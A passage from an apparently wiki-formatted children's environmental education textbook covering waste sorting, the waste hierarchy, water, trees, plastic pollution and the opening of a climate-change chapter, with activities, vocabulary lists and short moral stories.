Wastewater * Used cooking oil * Certain industrial liquids * Sewage * Some chemical liquids Liquid waste must be managed carefully because it can easily enter soil, drains, streams, lakes, and groundwater. '''Never pour hazardous liquids into a river, open drain, or onto bare soil.''' ---- === 9. Gaseous Waste === Some human activities release waste substances into the air in the form of gases or particles. Sources can include: * Vehicle exhaust * Industrial processes * Burning waste * Certain fuel-burning appliances Poor management of air pollutants can contribute to poor air quality and environmental damage. This is one reason '''open burning of rubbish is generally a poor waste-management practice''', especially when plastics and other materials are burned. ---- === 10. Every Piece of Rubbish Has a Place === The statement '''“Every piece of rubbish has a place”''' teaches us that waste should not be thrown carelessly. Different kinds of waste should go to appropriate destinations. A simple waste-sorting system can look like this: {| class="wikitable" !Type of waste !Examples !Suitable action |- |Organic waste |Food scraps, leaves |Composting |- |Paper/cardboard |Newspapers, boxes |Reuse or recycle |- |Plastics |Bottles, containers |Reuse or recycle where facilities exist |- |Glass |Bottles, jars |Reuse or recycle |- |Metals |Cans, scrap metal |Recycle |- |E-waste |Phones, computers |Special collection/recycling |- |Hazardous waste |Batteries, chemicals |Special handling |- |Medical waste |Needles, contaminated materials |Approved medical-waste system |- |General residual waste |Materials that cannot be recovered |Appropriate final disposal |} The exact collection system differs from one community to another, so people should follow the waste-sorting rules used by their local authority or waste-collection service. ---- === 11. The Waste Hierarchy === Good waste management does not begin with throwing things away. It follows a hierarchy that encourages people to prevent waste first. ==== 1. Refuse ==== Avoid unnecessary items when possible. '''Example:''' Refuse unnecessary single-use packaging. ==== 2. Reduce ==== Use fewer resources and produce less waste. '''Example:''' Buy only the food you are likely to use. ===== 3. Reuse ===== Use an item again instead of throwing it away. '''Example:''' Use a durable shopping bag repeatedly. ===== 4. Repair ===== Fix broken items when practical. '''Example:''' Repair a chair rather than immediately replacing it. ===== 5. Recycle ===== Process suitable materials into new products. '''Example:''' Recycle suitable paper, metal, glass, and plastics. ===== 6. Recover ===== Recover useful materials or energy from waste through appropriate processes. ===== 7. Dispose ===== Waste that cannot reasonably be reused, recycled, or recovered should be disposed of safely. '''The key lesson is: disposal should not be our first choice.''' ---- === 12. Why Proper Waste Management Matters === Proper waste management has many benefits. ==== Protects human health ==== Accumulated rubbish can attract flies, rats, and other pests. Poorly managed waste can also create opportunities for disease transmission. ==== Protects water ==== Waste dumped into waterways can contaminate rivers, lakes, and other sources of water. ==== Protects soil ==== Chemicals and other harmful substances can contaminate soil when waste is poorly disposed of. ==== Keeps communities clean ==== Clean streets, schools, homes, and public spaces are safer and more pleasant. ==== Saves resources ==== Recycling and reuse allow valuable materials to remain in use rather than constantly requiring new raw materials. ==== Reduces pollution ==== Sorting and treating waste properly can reduce pollution caused by dumping and inappropriate burning. ---- === 13. Waste Management at Home and School === Everyone can contribute to better waste management. ==== At home ==== * Keep rubbish in suitable containers. * Separate organic waste from recyclable materials where possible. * Compost suitable organic waste. * Reuse containers and bags. * Avoid unnecessary single-use products. * Keep hazardous materials separate. * Never dump rubbish in drainage channels or waterways. ==== At school ==== Schools can: * Provide clearly labelled waste bins. * Teach learners about waste separation. * Organise clean-up activities. * Encourage reusable water bottles. * Collect paper for recycling where facilities exist. * Compost suitable food and garden waste. * Ensure sharp or hazardous materials are handled safely. ---- === 14. A Simple Waste-Sorting Activity === Imagine that you have the following items: # Banana peel # Plastic water bottle # Newspaper # Broken battery # Glass bottle # Old mobile phone # Food leftovers # Used needle How should they be handled? * '''Banana peel →''' organic waste/compost * '''Plastic bottle →''' reuse or appropriate plastic recycling * '''Newspaper →''' reuse or paper recycling * '''Battery →''' special battery/e-waste collection * '''Glass bottle →''' reuse or glass recycling * '''Old mobile phone →''' e-waste collection/recycling * '''Food leftovers →''' composting where appropriate * '''Used needle →''' approved sharps/medical-waste disposal This demonstrates why '''sorting waste at the point where it is produced''' is so important. ---- === 15. Key Vocabulary === '''Waste:''' Material that is discarded because it is no longer wanted or needed. '''Biodegradable:''' Able to break down naturally through biological processes. '''Non-biodegradable:''' Not easily broken down naturally. '''Recycle:''' Process used materials so they can be made into new products. '''Reuse:''' Use an item again instead of discarding it. '''Compost:''' Decomposed organic material that can be used to improve soil. '''Hazardous waste:''' Waste that can pose a danger to people or the environment. '''E-waste:''' Discarded electrical and electronic equipment. === Short Story: Amina's Big Idea === Amina saw many plastic bottles around her school. She suggested collecting the bottles and using some of them to make flower containers. Her classmates helped her. Soon, the school had fewer bottles on the ground and more beautiful flowers. '''Lesson:''' Waste materials can sometimes be reused in useful ways. === Practical Activity === Collect safe reusable materials and make a useful object, such as a flowerpot, pencil holder or decoration. == Chapter 3: Water Is Life == === Introduction === Water is one of the most important resources on Earth. Every living thing needs water to survive. People, animals, and plants all depend on water for life and growth. We use water every day for drinking, cooking, bathing, washing clothes, cleaning, farming, and many other activities. Water is also important in industries, transport, energy production, and recreation. Because water is essential for life, we must use it wisely, protect it from pollution, and make sure that everyone has access to safe water. ---- === 1. What Is Water? === Water is a natural substance made up of hydrogen and oxygen. In its pure form, it has no colour, smell, or taste. Water exists in three main states: * '''Liquid''' – such as water in rivers, lakes, and oceans. * '''Solid''' – such as ice and snow. * '''Gas''' – water vapour found in the atmosphere. Water constantly moves between these states through the '''water cycle'''. ---- === 2. Sources of Water === Water comes from different natural sources. ==== A. Rainwater ==== Rain is an important source of fresh water. Rainwater fills rivers, lakes, wetlands, and reservoirs and also helps to replenish groundwater. People can collect rainwater from rooftops and store it in tanks for appropriate household or other uses. ==== B. Rivers and Streams ==== Rivers and streams provide water for domestic use, agriculture, livestock, industry, and ecosystems. However, water from rivers may contain microorganisms, chemicals, or other contaminants. It may therefore require appropriate treatment before it is safe to drink. ==== C. Lakes ==== Lakes contain large amounts of water and support people, plants, animals, and economic activities. Lakes can provide water for communities, fishing, agriculture, transport, and recreation. ==== D. Groundwater ==== Groundwater is water stored beneath the Earth's surface in soil and rock. It can be accessed through: * Wells * Boreholes * Springs Groundwater is an important source of drinking water in many communities. ==== E. Wetlands ==== Wetlands are areas where water covers or saturates the land for part or all of the year. They provide important environmental services, including storing water, supporting wildlife, and helping to filter pollutants. ---- === 3. Why Water Is Life === Water is essential for almost every activity that supports life. ==== A. Water for Drinking ==== The human body needs water to function properly. People lose water through activities such as breathing, sweating, and urination, so they need to replace it regularly. Safe drinking water is important for maintaining good health. ==== B. Water for Food Production ==== Farmers need water to grow crops and keep animals healthy. Water is used for: * Irrigation * Watering livestock * Cleaning agricultural equipment * Processing some agricultural products Without sufficient water, food production can be seriously affected. ==== C. Water for Plants ==== Plants need water for growth and survival. Water helps plants transport nutrients and supports photosynthesis. Without enough water, plants may wilt, stop growing, or die. ==== D. Water for Animals ==== Animals need water for drinking and other biological processes. Rivers, lakes, wetlands, and other water bodies also provide habitats for many animals. ==== E. Water for Hygiene and Sanitation ==== Water is essential for: * Washing hands * Bathing * Cleaning homes * Washing clothes * Cleaning utensils * Flushing toilets Good hygiene and sanitation help protect communities from disease. ==== F. Water in Industry ==== Industries use water for many purposes, including: * Manufacturing * Cooling machinery * Cleaning * Food processing * Producing certain goods Industries must manage water responsibly and prevent harmful substances from entering water sources. ---- === 4. The Water Cycle === Water does not simply disappear after it is used. It moves continuously through the environment in a process called the '''water cycle'''. The main stages include: ==== 1. Evaporation ==== Heat from the Sun causes water from oceans, lakes, rivers, and other surfaces to change into water vapour. ==== 2. Transpiration ==== Plants release water vapour into the atmosphere through tiny openings in their leaves. ==== 3. Condensation ==== Water vapour rises, cools, and forms tiny droplets that make clouds. ==== 4. Precipitation ==== When water droplets become sufficiently large, they fall to Earth as: * Rain * Snow * Sleet * Hail ==== 5. Collection and Infiltration ==== Water collects in rivers, lakes, oceans, and other water bodies. Some water also soaks into the ground and becomes groundwater. The cycle then continues. ---- === 5. Clean Water and Polluted Water === Not all water is safe to drink. '''Clean and safe water''' is water that does not contain harmful levels of microorganisms, chemicals, or other contaminants. '''Polluted water''' contains substances that can harm people, animals, plants, or ecosystems. Water pollution can come from many sources. === Examples include: === * Sewage * Plastic waste * Oil * Industrial chemicals * Agricultural chemicals * Animal waste * Household waste * Soil and sediment ---- === 6. Effects of Water Pollution === Water pollution can have serious consequences. ==== A. Human Health ==== Contaminated water can contribute to diseases and other health problems, particularly where sanitation and water treatment are inadequate. ==== B. Aquatic Life ==== Pollution can harm fish, insects, plants, amphibians, and other organisms living in water. ==== C. Food Production ==== Polluted water used for agriculture can affect crops, livestock, and food safety. ==== D. The Environment ==== Pollution can damage aquatic ecosystems and reduce the quality of habitats. ==== E. Economic Activities ==== Fishing, tourism, agriculture, and other activities can suffer when water resources become polluted. ---- === 7. How We Can Protect Water === Everyone has a role to play in protecting water resources. ==== At Home ==== * Do not throw rubbish into drains, rivers, or lakes. * Repair leaking taps and pipes. * Use only the water you need. * Avoid wasting water while washing. * Dispose of chemicals and oils appropriately. * Keep toilets and sanitation facilities clean. ==== At School ==== Students can: * Turn off taps after use. * Report leaking taps and pipes. * Keep school compounds free from litter. * Avoid throwing rubbish into drainage channels. * Participate in water-conservation activities. * Teach others about the importance of water. ==== In the Community ==== Communities can: * Protect wells, springs, rivers, and wetlands. * Prevent dumping near water sources. * Plant and protect vegetation where appropriate. * Maintain drainage and sanitation systems. * Encourage responsible water use. * Support safe water and sanitation projects. ---- === 8. Water Conservation === '''Water conservation''' means using water carefully and avoiding unnecessary waste. Simple actions can save large amounts of water. === Examples === Instead of leaving a tap running while brushing your teeth, turn it off when water is not needed. When washing clothes or dishes, use a reasonable amount of water rather than allowing water to run continuously. Leaking taps and pipes should be repaired because a small leak can waste water over time. Rainwater can also be collected and used for suitable purposes. ---- === 9. The Importance of Wetlands and Forests === Natural ecosystems help protect water resources. ==== Wetlands ==== Wetlands can store water, provide habitats, and help remove some pollutants from water. ==== Forests and Vegetation ==== Vegetation helps protect soil and can reduce erosion and surface runoff. Vegetated areas around water bodies can therefore contribute to the protection of water quality. Destroying wetlands and removing vegetation carelessly can increase environmental problems such as erosion, flooding, and water pollution. ---- === 10. Safe Drinking Water === Water intended for drinking should be obtained from a safe source and, where necessary, treated appropriately. Methods of treating water may include: * Boiling * Filtration * Chlorination * Other approved water-treatment methods The correct treatment method depends on the source and the contaminants that may be present. Water should also be stored safely in clean, covered containers to reduce the chance of contamination. ---- === 11. Water and Our Future === Fresh water is limited and unevenly distributed. Some communities have reliable access to safe water, while others face shortages or difficulties accessing clean water. Population growth, pollution, climate variability, changing land use, and increasing demand can place pressure on water resources. Protecting water today helps ensure that future generations can also benefit from this essential resource. ---- === 12. Practical Activity: Saving Water === ==== Activity ==== For one day, observe how water is used at home or school. Make a list of activities such as: * Drinking * Cooking * Bathing * Washing hands * Washing clothes * Cleaning * Watering plants Then identify activities where water may be wasted. ==== Questions ==== # Which activity uses the most water? # Where is water being wasted? # How could the waste be reduced? # What can you do personally to save water? Discuss your answers with your classmates or family members. ---- === 13. Key Vocabulary === '''Water:''' A natural substance essential for life. '''Water cycle:''' The continuous movement of water through the environment. '''Evaporation:''' The change of liquid water into water vapour. '''Condensation:''' The change of water vapour into liquid droplets. '''Precipitation:''' Water falling from clouds as rain, snow, sleet, or hail. '''Groundwater:''' Water stored beneath the Earth's surface. '''Water pollution:''' The contamination of water by harmful substances. '''Water conservation:''' The careful and responsible use of water. '''Wetland:''' Land that is covered or saturated with water for part or all of the year. '''Sanitation:''' Systems and practices for safely managing human waste and maintaining hygiene. ---- === 14. Summary === Water is essential for '''people, animals, plants, agriculture, sanitation, industry, and ecosystems'''. It comes from sources such as rain, rivers, lakes, groundwater, and wetlands. Water moves continuously through the '''water cycle''', but clean and accessible freshwater is a valuable resource that must be protected. Pollution, waste, careless use, and damage to natural ecosystems can threaten water resources. We can help by '''saving water, preventing pollution, protecting water sources, practising good sanitation, and using water responsibly'''. The most important lesson is simple:<blockquote>'''Water is life. Protect every drop.'''</blockquote> ==== Short Story: The Dirty Stream ==== Children in a village noticed that their stream was becoming dirty. Some people were throwing rubbish into it. The children spoke to their teacher and community leaders. Together, they organised a clean-up and encouraged people to stop dumping rubbish in the stream. '''Lesson:''' Protecting water requires teamwork and responsible behavior. ==== Water-Protection Challenge ==== For one week: * Close taps properly after use. * Use only the water you need. * Keep water containers clean. * Encourage others not to pollute water sources. == Chapter 4: Trees == === Introduction === Trees are among the most useful living things on Earth. They grow in forests, gardens, farms, school compounds, along roads, and around our homes. Trees provide food, shelter, shade, materials, and many other benefits. Trees also help protect the environment. They absorb carbon dioxide from the atmosphere, release oxygen through photosynthesis, help protect soil from erosion, and provide habitats for many animals. For these reasons, trees can truly be described as '''our friends'''. However, trees need care and protection so that they can continue benefiting people and the environment. ---- === 1. What Is a Tree? === A tree is a large plant with a woody stem or trunk, branches, leaves, and roots. The main parts of a tree include: * '''Roots''' – anchor the tree in the soil and absorb water and minerals. * '''Trunk''' – supports the tree and transports water and nutrients. * '''Branches''' – hold the leaves, flowers, and fruits. * '''Leaves''' – make food for the tree through photosynthesis. * '''Flowers''' – help many trees reproduce. * '''Fruits and seeds''' – help produce new trees. Trees vary greatly in size, shape, and appearance. ---- === 2. Trees Give Us Oxygen === Trees and other green plants carry out '''photosynthesis'''. During photosynthesis, plants use: * Sunlight * Water * Carbon dioxide to produce food, while releasing oxygen into the atmosphere. Oxygen is needed by humans and many animals for respiration. Trees therefore play an important role in maintaining the gases that support life. ---- === 3. Trees Give Us Food === Many trees provide food for people and animals. Examples include: * Mango trees * Avocado trees * Orange trees * Jackfruit trees * Banana plants * Coconut palms Trees can provide fruits, nuts, seeds, leaves, and other edible products. Animals also depend on trees for food. ---- === 4. Trees Provide Shade === Trees provide shade from strong sunlight. People can sit under trees to rest, study, talk, or relax. Trees around homes, schools, parks, and public spaces can make these places more comfortable. Shade from trees can also help reduce the amount of direct sunlight reaching buildings and the ground. ---- === 5. Trees Provide Homes for Animals === Trees are important habitats for many living organisms. Birds may build nests in branches. Insects may live on leaves and bark. Monkeys, squirrels, reptiles, and other animals may use trees for shelter, food, or movement. A large tree can therefore support many different forms of life. When trees are destroyed, animals can lose their homes and sources of food. ---- === 6. Trees Protect the Soil === Tree roots hold soil together. When heavy rain falls on bare soil, it can wash soil away. This process is called '''soil erosion'''. Trees can help reduce erosion because: * Their roots hold soil together. * Their leaves and branches reduce the force of falling rain. * Fallen leaves cover the soil. * Tree-covered land can slow surface runoff. Protecting trees is therefore one way of helping to protect soil. ---- === 7. Trees Help Protect Water === Trees and other vegetation play an important role in the water cycle. Their roots help water enter and move through the soil. Vegetation can also reduce soil erosion and the amount of sediment carried into rivers and lakes. Trees growing near water bodies can therefore contribute to the protection of water resources. ---- === 8. Trees Help Fight Climate Change === Trees absorb '''carbon dioxide''', a greenhouse gas, as they grow. Through photosynthesis, trees use carbon dioxide to make food. Some of the carbon becomes stored in the tree's wood, roots, and other parts. Forests and other ecosystems therefore store significant amounts of carbon. Protecting existing forests and planting appropriate trees can contribute to efforts to address climate change, although trees are only one part of the solution. ---- === 9. Trees Provide Materials === Trees provide materials that people use in everyday life. Wood can be used to make: * Furniture * Doors * Houses * Poles * Tools * Paper products Some trees also provide materials such as: * Rubber * Cork * Resins * Fibres * Oils These materials support many livelihoods and industries. However, trees should be harvested responsibly, and forests should be managed sustainably. ---- === 10. Trees Provide Medicine === Some trees contain substances that have been used traditionally or scientifically in medicines and other health-related products. Examples of trees associated with traditional or medicinal uses include: * Neem * Eucalyptus * Cinchona * Some species of acacia Medicinal plants should be used carefully. Traditional knowledge does not automatically mean that a plant is safe or effective for every medical condition. ---- === 11. Trees Improve the Environment === Trees contribute to healthier surroundings in several ways. They can: * Provide habitats for wildlife. * Help reduce soil erosion. * Store carbon. * Provide shade. * Improve the appearance of landscapes. * Reduce wind speeds in some areas. * Contribute to cleaner and cooler local environments. Trees in towns and cities can be especially valuable because they provide shade and green spaces among buildings and roads. ---- === 12. Trees and the Air We Breathe === Trees interact with the atmosphere in important ways. Their leaves absorb carbon dioxide during photosynthesis and release oxygen. Trees can also trap some airborne particles on their leaves. However, trees do not remove all air pollution, and planting the right species in appropriate locations is important. ---- === 13. Why People Cut Down Trees === People cut down trees for different reasons. These include: * Getting firewood * Producing charcoal * Obtaining timber * Clearing land for farming * Building houses and roads * Producing paper and other products Some tree harvesting is necessary for human needs. The problem arises when trees are removed '''faster than they can naturally or deliberately be replaced'''. This can lead to '''deforestation'''. ---- === 14. Effects of Deforestation === '''Deforestation''' is the large-scale removal of forests or trees from an area. Deforestation can result in: * Loss of wildlife habitats * Increased soil erosion * Loss of biodiversity * Reduced carbon storage * Changes in local water cycles * Loss of valuable forest resources When forests are cleared without proper management, the environmental and social consequences can be serious. ---- === 15. How We Can Protect Trees === Everyone can help protect trees. ==== At Home ==== * Plant suitable trees. * Avoid unnecessary cutting of trees. * Use wood and paper responsibly. * Protect young trees from damage. * Compost suitable organic waste and return nutrients to the soil where appropriate. ==== At School ==== Students can: * Plant and care for trees. * Avoid damaging tree trunks and branches. * Keep school gardens clean. * Water young trees when necessary. * Learn about local tree species. * Organise tree-care activities. ==== In the Community ==== Communities can: * Protect forests and woodlands. * Plant appropriate native or well-adapted species. * Prevent uncontrolled cutting. * Encourage sustainable forestry. * Protect trees along rivers and other sensitive areas. * Educate people about the value of trees. ---- === 16. Planting a Tree === Planting a tree is useful, but simply putting a seedling in the ground is not enough. The tree must be cared for. ==== Basic steps ==== # '''Choose a suitable species''' for the local environment. # '''Choose an appropriate location''' with enough space for the mature tree. # '''Prepare the soil''' and dig a suitable planting hole. # '''Plant the seedling carefully.''' # '''Water it when necessary''', especially during dry periods. # '''Protect it from animals and damage.''' # '''Remove competing weeds when appropriate.''' # '''Continue caring for the tree as it grows.''' A healthy mature tree may take many years to develop, so tree planting requires patience. ---- === 17. Trees and Responsibility === Trees belong to a wider ecosystem. When we care for them, we are also helping many other organisms. We should remember:<blockquote>'''Plant a tree, care for a tree, and protect a tree.'''</blockquote>Planting trees is important, but '''protecting existing mature trees is also very valuable''' because mature trees already provide established habitat, shade, and carbon storage. ---- === 18. Practical Activity: Adopt a Tree === Choose a tree at your school or home. Observe it regularly and record: * Its height or approximate size * The shape of its leaves * Whether it has flowers or fruits * Animals or insects found on it * Changes you observe over several weeks Give the tree a name if you wish and create a simple care schedule. === Questions === # What type of tree did you observe? # What benefits does it provide? # Which animals use it? # How can you protect it? # What changes did you observe over time? ---- === 19. Key Vocabulary === '''Tree:''' A large woody plant with a trunk, branches, leaves, and roots. '''Photosynthesis:''' The process by which green plants use sunlight, water, and carbon dioxide to make food and release oxygen. '''Habitat:''' The natural home or environment of a plant or animal. '''Deforestation:''' The large-scale removal of forests or trees. '''Soil erosion:''' The removal of soil by agents such as water or wind. '''Biodiversity:''' The variety of living organisms in an area or on Earth. '''Forest:''' A large area dominated by trees and associated plants and animals. '''Sustainable:''' Using resources in a way that allows them to remain available for the future. '''Carbon dioxide:''' A gas in the atmosphere that plants use during photosynthesis and that also contributes to the greenhouse effect. ---- === 20. Summary === Trees are essential parts of our environment. They provide '''food, shade, oxygen, habitats, materials, and protection for soil and water'''. They also absorb carbon dioxide and store carbon. However, uncontrolled cutting and destruction of forests can cause deforestation, habitat loss, soil erosion, and other environmental problems. We can protect trees by '''planting appropriate trees, caring for young trees, reducing unnecessary tree cutting, using forest products responsibly, and protecting natural forests'''. Trees are more than sources of wood and fruit. They are living parts of ecosystems that support people, animals, and the environment.. === Activity === Plant or care for a tree or flower at home or school. Observe it regularly and record how it changes. == Chapter 5: Plastic Pollution == === Introduction === Plastic is one of the most widely used materials in the modern world. We find plastic in bottles, bags, food packaging, toys, containers, clothes, electronics, and many other products. Plastic is useful because it is light, strong, waterproof, and relatively inexpensive. However, when plastic is used carelessly and discarded improperly, it can become a serious environmental problem. '''Plastic pollution''' occurs when plastic waste accumulates in places where it can harm people, animals, and the environment. The good news is that everyone can help reduce plastic pollution by making responsible choices about how we use, reuse, collect, and dispose of plastic. ---- === 1. What Is Plastic? === Plastic is a group of materials made mainly from polymers. Many plastics are produced from fossil-fuel-based raw materials, although some newer plastics are made partly or entirely from other sources. Plastic can be manufactured into many different shapes and forms. Examples include: * Plastic bags * Bottles * Food containers * Packaging * Pipes * Toys * Furniture * Household equipment Because plastic can be made into so many useful products, it has become an important material in everyday life. ---- === 2. What Is Plastic Pollution? === '''Plastic pollution''' is the accumulation or presence of plastic waste in the environment in ways that cause harm or create environmental problems. Plastic waste can be found: * On streets * In drainage channels * In gardens * On beaches * In rivers and lakes * In wetlands * In forests * In agricultural areas * In oceans Plastic that is thrown on the ground can be carried by wind or rain into drainage systems and waterways. ---- === 3. Common Sources of Plastic Waste === Plastic waste comes from many activities. ==== At Home ==== Households may produce plastic waste from: * Shopping bags * Food packaging * Bottles * Containers * Wrappers * Disposable utensils ==== At School ==== Schools may produce plastic waste from: * Water bottles * Snack wrappers * Packaging * Plastic stationery * Disposable food containers ==== In Businesses ==== Shops, restaurants, markets, and industries may generate large amounts of plastic packaging and other plastic waste. ==== In Agriculture ==== Some agricultural activities use plastic materials such as containers, packaging, irrigation components, and other products. ---- === 4. Why Does Plastic Become a Problem? === Plastic itself can be useful. The problem often occurs when it is '''used unnecessarily, discarded carelessly, or poorly managed'''. Plastic can persist in the environment for long periods. Larger plastic items can break into smaller pieces called '''microplastics''' rather than simply disappearing. When plastic waste is not collected or managed properly, it can spread through the environment. ---- === 5. Plastic Pollution and Water === Plastic waste can enter rivers, lakes, wetlands, and oceans. It may be carried into waterways by: * Rain * Floodwater * Wind * Poorly managed rubbish * Drainage systems Once plastic enters water, it can interfere with aquatic ecosystems and make waterways dirty. Plastic waste can also block drains and contribute to flooding when drainage systems become obstructed. ---- === 6. Plastic Pollution and Animals === Animals can be harmed by plastic pollution. Some animals may mistake plastic for food and swallow it. This can cause injury, illness, or blockage of the digestive system. Animals can also become trapped or entangled in plastic materials such as bags, strings, fishing lines, and other discarded objects. Keeping plastic waste out of natural habitats helps protect wildlife. ---- === 7. Microplastics === '''Microplastics''' are very small pieces of plastic, generally less than 5 millimetres in size. They can be produced when larger plastic items break down into smaller pieces. Some microplastics also come directly from products or industrial processes. Because they are so small, microplastics can be difficult to remove from the environment. They have been detected in many environmental settings, including water, soil, air, and living organisms. Scientists continue to study their effects on ecosystems and human health. ---- === 8. Plastic Pollution and Soil === Plastic waste can accumulate on land and become mixed with soil. This can: * Make land unattractive and difficult to manage. * Interfere with farming activities. * Harm animals that live in or feed from the soil. * Break down into smaller plastic particles. * Carry pollutants into the wider environment. Farmers and communities can help by preventing plastic waste from being dumped on agricultural land. ---- === 9. Burning Plastic === Some people burn plastic waste because they want to get rid of it quickly. However, '''burning plastic in open fires is not a safe waste-management method'''. Depending on the type of plastic and how it burns, smoke can contain harmful pollutants and fine particles. Instead of burning plastic, it is better to: * Reduce unnecessary plastic use. * Reuse suitable items. * Separate recyclable materials. * Use appropriate waste-collection services. * Dispose of residual waste through approved systems. ---- === 10. Plastic Recycling === '''Recycling''' involves collecting and processing used materials so that they can become inputs for new products. Some types of plastic can be recycled. However, not every plastic item is accepted by every recycling system. Recycling facilities may differ in the types of plastics they can process. Therefore, people should follow the sorting instructions provided by their local waste-management or recycling service. ---- === 11. Reuse Before Recycling === Recycling is useful, but '''reuse can sometimes be even simpler'''. For example, a durable container can be used repeatedly instead of being thrown away after one use. Reusable alternatives may include: * Shopping bags * Water bottles * Food containers * Cups * Lunch boxes The best option depends on the product and how it is used. The important principle is to avoid unnecessary waste. ---- === 12. How Can We Reduce Plastic Pollution? === Everyone can take practical steps. ==== A. Refuse Unnecessary Plastic ==== If you do not need a disposable plastic item, avoid taking it. ==== B. Reduce Plastic Use ==== Choose products with less unnecessary packaging when practical. ==== C. Reuse ==== Use suitable durable products more than once. ==== D. Recycle ==== Separate recyclable plastic according to local collection requirements. ==== E. Dispose Properly ==== Put plastic waste into the correct waste container rather than throwing it on the ground. ==== F. Keep Waterways Clean ==== Never throw plastic into rivers, lakes, wetlands, drainage channels, or other water bodies. ---- === 13. Plastic Pollution at School === Students can help reduce plastic pollution at school. They can: * Carry reusable water bottles. * Avoid unnecessary disposable packaging. * Use rubbish bins correctly. * Separate recyclable waste where a recycling system exists. * Participate in clean-up activities. * Encourage classmates not to litter. * Report overflowing rubbish bins to teachers or school administrators. A clean school environment begins with responsible everyday habits. ---- === 14. Plastic Pollution in the Community === Communities can work together to reduce plastic pollution. Useful actions include: * Organising clean-up activities. * Providing appropriate rubbish bins. * Supporting waste collection. * Encouraging reusable shopping bags. * Educating residents about waste separation. * Preventing dumping in drainage channels. * Supporting responsible recycling initiatives. Businesses can also help by reducing unnecessary packaging and improving the collection and management of plastic waste. ---- === 15. The Plastic Pollution Solution === There is no single solution to plastic pollution. A successful approach involves several actions: '''Prevent → Reduce → Reuse → Recycle → Dispose safely''' This means we should think about waste '''before''' we create it. For example:<blockquote>Instead of buying a disposable plastic bottle every day, a person may carry a suitable reusable bottle and refill it with safe drinking water.</blockquote>Small changes repeated by many people can make a significant difference. ---- === 16. Practical Activity: Plastic Audit === ==== Activity ==== For one day, collect or record the plastic waste produced by your household or class. Group the items into categories such as: * Bottles * Bags * Wrappers * Containers * Other plastic items Then discuss: # Which type of plastic waste was most common? # Which items could have been avoided? # Which items could be reused? # Which items could potentially be recycled? # How could your household or class produce less plastic waste? Create a '''“Plastic Reduction Plan”''' with three actions that your class can follow for one month. ---- === 17. Key Vocabulary === '''Plastic:''' A group of synthetic or semi-synthetic materials made mainly from polymers. '''Plastic pollution:''' The accumulation or presence of plastic waste in the environment in ways that cause harm or environmental problems. '''Microplastic:''' A very small plastic particle, generally less than 5 millimetres in size. '''Recycle:''' To process used materials so they can be used to make new products. '''Reuse:''' To use an item again instead of throwing it away. '''Litter:''' Waste that has been carelessly discarded in the environment. '''Waste management:''' The collection, sorting, treatment, recovery, and safe disposal of waste. '''Biodegradable:''' Able to break down naturally through biological processes. ---- === 18. Questions for Discussion === # What is plastic pollution? # Give five examples of plastic items used in your community. # How can plastic enter rivers and lakes? # How can plastic harm animals? # What are microplastics? # Why is burning plastic in open fires a problem? # What is the difference between reusing and recycling? # How can students reduce plastic waste at school? # Why should plastic not be thrown into drainage channels? # What three actions can your community take to reduce plastic pollution? ---- === 19. Summary === Plastic is a useful material, but poor management of plastic waste can cause pollution on land and in water. Plastic waste can block drainage systems, damage habitats, harm animals, and break down into microplastics. Burning plastic in open fires can also release harmful pollutants. We can reduce plastic pollution by following the principles of: '''Refuse → Reduce → Reuse → Recycle → Dispose safely''' Everyone has a role to play. At home, at school, in markets, and throughout our communities, responsible choices can help keep our environment clean.<blockquote>'''Use plastic wisely, keep it out of nature, and give every piece of waste the right place.'''</blockquote> == Chapter 6: Our Changing World == === Introduction === The Earth is our home. It provides us with air to breathe, water to drink, food to eat, and land on which we live and work. The Earth's climate also affects plants, animals, agriculture, and human activities. Today, the Earth's climate is changing. '''Climate change''' refers to long-term changes in the average conditions of the Earth's climate, including changes in temperature, rainfall, and weather patterns. Climate has changed naturally throughout Earth's history. However, human activities have caused a significant increase in greenhouse gases in the atmosphere, contributing to the current warming of the planet. Understanding climate change helps us make informed choices about how to protect people, communities, and the natural environment. ---- === 1. What Is Climate? === '''Climate''' is the usual pattern of weather in a particular place over a long period. Climate includes things such as: * Temperature * Rainfall * Humidity * Wind * Seasons For example, one rainy day tells us about '''weather''', while the typical pattern of rainfall over many years tells us about '''climate'''. === Weather and Climate === '''Weather:''' What the atmosphere is like over a short period. '''Climate:''' The long-term pattern of atmospheric conditions. A simple way to remember this is:<blockquote>'''Weather is what we experience today; climate is the pattern we observe over many years.'''</blockquote> ---- === 2. What Is Climate Change? === '''Climate change''' is a long-term change in the Earth's climate. It can involve changes in: * Average temperatures * Rainfall patterns * The frequency or intensity of some extreme weather events * Sea levels * Glaciers and ice * Oceans and ecosystems Climate change is not simply about the Earth becoming warmer every day. Different regions can experience different changes. ---- === 3. The Greenhouse Effect === The Earth's atmosphere contains gases called '''greenhouse gases'''. Important greenhouse gases include: * Carbon dioxide * Methane * Nitrous oxide * Water vapour These gases help keep the Earth warm enough for life. This natural process is called the '''greenhouse effect'''. Without the natural greenhouse effect, Earth would be much colder. The problem is that human activities have increased the concentrations of several greenhouse gases in the atmosphere. This strengthens the greenhouse effect and causes additional warming. ---- === 4. Causes of Modern Climate Change === Human activities are the main cause of the recent long-term warming of the Earth's climate. Major sources of greenhouse gas emissions include: ==== A. Burning Fossil Fuels ==== Coal, oil, and natural gas are burned to produce energy for: * Electricity * Transport * Industry * Heating and cooking Burning fossil fuels releases carbon dioxide. ==== B. Deforestation ==== Trees absorb carbon dioxide as they grow. When forests are destroyed, this carbon-storage capacity is reduced, and carbon can also be released into the atmosphere. ==== C. Agriculture ==== Agriculture can produce greenhouse gases such as methane and nitrous oxide. Sources include: * Livestock * Rice cultivation * Fertiliser use * Management of agricultural soils ==== D. Industry ==== Some industrial processes release greenhouse gases directly or use large amounts of fossil-fuel energy. ==== E. Waste ==== Poorly managed waste can produce greenhouse gases. For example, organic waste decomposing without enough oxygen in landfills can generate methane. ---- === 5. Signs of a Changing Climate === Scientists use observations from many parts of the world to study climate change. Evidence includes: * Rising global average temperatures * Warming oceans * Melting glaciers and ice sheets * Rising sea levels * Changes in some ecosystems * Changes in the timing or distribution of some biological events These changes occur over long periods, so scientists use measurements collected over many years. ---- === 6. Climate Change and Water === Climate change can affect water resources. Changes in temperature and rainfall can influence: * Rivers * Lakes * Groundwater * Soil moisture * Water availability Some areas may experience heavier rainfall or flooding, while others may experience longer or more severe dry periods. Changes in water availability can affect households, agriculture, animals, and ecosystems. ---- === 7. Climate Change and Agriculture === Agriculture depends heavily on climate. Farmers need suitable: * Rainfall * Temperatures * Soil conditions * Growing seasons Climate change can make farming more difficult when rainfall becomes less predictable or temperatures become unsuitable for certain crops. Farmers can respond through '''adaptation''', such as: * Planting 